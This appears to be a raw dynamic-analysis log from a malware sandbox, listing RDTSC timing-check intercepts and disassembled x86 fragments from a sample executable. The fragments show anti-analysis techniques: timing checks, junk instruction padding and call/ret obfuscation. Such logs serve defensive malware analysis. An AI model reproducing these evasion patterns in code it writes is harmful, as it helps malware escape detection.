Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B2E213 second address: B2E272 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pop eax 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007FA5CCB52628h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 0000001Dh 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 call 00007FA5CCB5262Dh 0x00000027 pushad 0x00000028 mov dword ptr [ebp+122D2383h], ebx 0x0000002e mov dword ptr [ebp+122D22BAh], edi 0x00000034 popad 0x00000035 pop edx 0x00000036 lea ebx, dword ptr [ebp+12442E53h] 0x0000003c or dword ptr [ebp+122D2097h], edi 0x00000042 push eax 0x00000043 push ebx 0x00000044 jc 00007FA5CCB5262Ch 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B2E36C second address: B2E385 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB7DECBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B2E385 second address: B2E38F instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA5CCB52626h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B2E38F second address: B2E40E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA5CCB7DED5h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007FA5CCB7DEC8h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 mov dword ptr [ebp+122D1F1Dh], ebx 0x0000002b push 00000003h 0x0000002d mov di, si 0x00000030 push 00000000h 0x00000032 call 00007FA5CCB7DECFh 0x00000037 mov edi, dword ptr [ebp+122D33E9h] 0x0000003d pop esi 0x0000003e mov dword ptr [ebp+122D237Eh], ebx 0x00000044 push 00000003h 0x00000046 mov esi, dword ptr [ebp+122D17C0h] 0x0000004c mov esi, dword ptr [ebp+122D3571h] 0x00000052 push A68CC8A4h 0x00000057 push edx 0x00000058 pushad 0x00000059 jno 00007FA5CCB7DEC6h 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B2E40E second address: B2E443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 xor dword ptr [esp], 668CC8A4h 0x0000000d mov dword ptr [ebp+122D23ACh], edi 0x00000013 lea ebx, dword ptr [ebp+12442E5Eh] 0x00000019 mov dx, 5C8Bh 0x0000001d xchg eax, ebx 0x0000001e jmp 00007FA5CCB52631h 0x00000023 push eax 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B2E443 second address: B2E45D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB7DED2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B1EB38 second address: B1EB42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FA5CCB52626h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B1EB42 second address: B1EB48 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B1EB48 second address: B1EB50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B1EB50 second address: B1EB54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B1EB54 second address: B1EB77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FA5CCB52626h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jp 00007FA5CCB52626h 0x00000017 jmp 00007FA5CCB5262Bh 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B1EB77 second address: B1EB7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B4C61C second address: B4C620 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B4C620 second address: B4C626 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B4C626 second address: B4C658 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007FA5CCB52637h 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jc 00007FA5CCB52626h 0x0000001a jno 00007FA5CCB52626h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B4C658 second address: B4C65C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B4C7C4 second address: B4C7DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB52637h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B4C7DF second address: B4C7E9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA5CCB7DECCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B4C7E9 second address: B4C81D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA5CCB52635h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c pushad 0x0000000d jmp 00007FA5CCB5262Fh 0x00000012 push edi 0x00000013 pop edi 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B4C95D second address: B4C963 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B4C963 second address: B4C988 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop edx 0x0000000f pushad 0x00000010 jmp 00007FA5CCB52633h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B4C988 second address: B4C9A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA5CCB7DED5h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B4C9A6 second address: B4C9AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B4CC98 second address: B4CCAF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnl 00007FA5CCB7DEC6h 0x00000009 js 00007FA5CCB7DEC6h 0x0000000f pop edx 0x00000010 pushad 0x00000011 push esi 0x00000012 pop esi 0x00000013 push edi 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B4CF85 second address: B4CF8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B4CF8B second address: B4CF91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B4D0BE second address: B4D0D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FA5CCB52631h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B4D23A second address: B4D247 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jns 00007FA5CCB7DEC6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B4D247 second address: B4D27C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA5CCB52636h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA5CCB52638h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B4D415 second address: B4D419 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B4D419 second address: B4D41F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B4D41F second address: B4D429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B4D429 second address: B4D438 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA5CCB52626h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B50367 second address: B5036B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B514EE second address: B514FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA5CCB5262Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B51683 second address: B5168D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FA5CCB7DEC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B5168D second address: B51691 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B2207C second address: B220A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007FA5CCB7DEC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edi 0x0000000d push edi 0x0000000e jmp 00007FA5CCB7DED2h 0x00000013 push eax 0x00000014 push edx 0x00000015 jnl 00007FA5CCB7DEC6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B220A4 second address: B220AE instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA5CCB52626h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B59175 second address: B5917B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B254DD second address: B254EB instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA5CCB52626h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B254EB second address: B254F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B58E60 second address: B58E6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push eax 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B5C523 second address: B5C527 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B5C527 second address: B5C53C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FA5CCB5262Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B5CB26 second address: B5CB2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B5CB2C second address: B5CB30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B5D2E6 second address: B5D335 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA5CCB7DEC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b xchg eax, ebx 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007FA5CCB7DEC8h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 jmp 00007FA5CCB7DED8h 0x0000002b nop 0x0000002c pushad 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B5D900 second address: B5D94E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 movzx edi, bx 0x0000000c xchg eax, ebx 0x0000000d jno 00007FA5CCB52645h 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FA5CCB52639h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B5DF12 second address: B5DF1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B5DF1F second address: B5DF3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB52639h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B5DF3C second address: B5DF59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA5CCB7DED9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B5E7EF second address: B5E7F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B5E66A second address: B5E674 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA5CCB7DEC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B5E674 second address: B5E682 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B5F6A5 second address: B5F6B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FA5CCB7DEC6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B5F6B0 second address: B5F71D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA5CCB52632h 0x00000008 jmp 00007FA5CCB5262Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 cmc 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 call 00007FA5CCB52628h 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 add dword ptr [esp+04h], 00000019h 0x0000002a inc eax 0x0000002b push eax 0x0000002c ret 0x0000002d pop eax 0x0000002e ret 0x0000002f mov dword ptr [ebp+122D1C77h], esi 0x00000035 push 00000000h 0x00000037 pushad 0x00000038 jmp 00007FA5CCB52636h 0x0000003d mov cx, 87F9h 0x00000041 popad 0x00000042 mov dword ptr [ebp+122D23B7h], esi 0x00000048 push eax 0x00000049 pushad 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B601B4 second address: B601B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B6024C second address: B60251 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B60251 second address: B60261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B5FF99 second address: B5FFA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B60261 second address: B60266 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B60AFF second address: B60B04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B61640 second address: B6164B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FA5CCB7DEC6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B60B04 second address: B60B09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B62049 second address: B6204F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B60B09 second address: B60B0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B62CFD second address: B62D03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B62D03 second address: B62D21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FA5CCB5262Ch 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jl 00007FA5CCB52626h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B62D21 second address: B62D26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B6447F second address: B64483 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B64483 second address: B64487 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B64487 second address: B644D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebx 0x0000000a call 00007FA5CCB52628h 0x0000000f pop ebx 0x00000010 mov dword ptr [esp+04h], ebx 0x00000014 add dword ptr [esp+04h], 00000016h 0x0000001c inc ebx 0x0000001d push ebx 0x0000001e ret 0x0000001f pop ebx 0x00000020 ret 0x00000021 push 00000000h 0x00000023 jp 00007FA5CCB5262Ch 0x00000029 sub ebx, dword ptr [ebp+1244CD30h] 0x0000002f push 00000000h 0x00000031 or edi, dword ptr [ebp+122D1F27h] 0x00000037 xchg eax, esi 0x00000038 push ecx 0x00000039 jl 00007FA5CCB5262Ch 0x0000003f pop ecx 0x00000040 push eax 0x00000041 push edi 0x00000042 pushad 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B644D6 second address: B644DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B653F5 second address: B65454 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB52631h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a nop 0x0000000b push eax 0x0000000c sub edi, dword ptr [ebp+122D35B5h] 0x00000012 pop ebx 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 call 00007FA5CCB52628h 0x0000001d pop ecx 0x0000001e mov dword ptr [esp+04h], ecx 0x00000022 add dword ptr [esp+04h], 00000017h 0x0000002a inc ecx 0x0000002b push ecx 0x0000002c ret 0x0000002d pop ecx 0x0000002e ret 0x0000002f push 00000000h 0x00000031 push ebx 0x00000032 mov ebx, esi 0x00000034 pop edi 0x00000035 sub edi, 4A2BFA36h 0x0000003b push eax 0x0000003c pushad 0x0000003d jl 00007FA5CCB52628h 0x00000043 pushad 0x00000044 jo 00007FA5CCB52626h 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B66319 second address: B6631F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B67237 second address: B672A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007FA5CCB52634h 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007FA5CCB52628h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 00000019h 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b mov bx, dx 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push edi 0x00000033 call 00007FA5CCB52628h 0x00000038 pop edi 0x00000039 mov dword ptr [esp+04h], edi 0x0000003d add dword ptr [esp+04h], 00000019h 0x00000045 inc edi 0x00000046 push edi 0x00000047 ret 0x00000048 pop edi 0x00000049 ret 0x0000004a push 00000000h 0x0000004c push eax 0x0000004d push ebx 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B672A6 second address: B672AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B65555 second address: B6555A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B66520 second address: B6652B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FA5CCB7DEC6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B6652B second address: B66530 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
